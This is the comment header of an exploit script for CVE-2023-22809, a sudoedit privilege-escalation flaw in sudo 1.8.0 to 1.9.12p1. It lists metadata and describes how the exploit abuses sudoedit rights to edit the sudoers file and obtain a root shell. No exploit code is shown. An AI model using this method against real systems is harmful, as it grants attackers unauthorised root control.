# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
#
# Running this exploit on a vulnerable system allows a localiattacker to gain 
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or 
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root 
# shell.
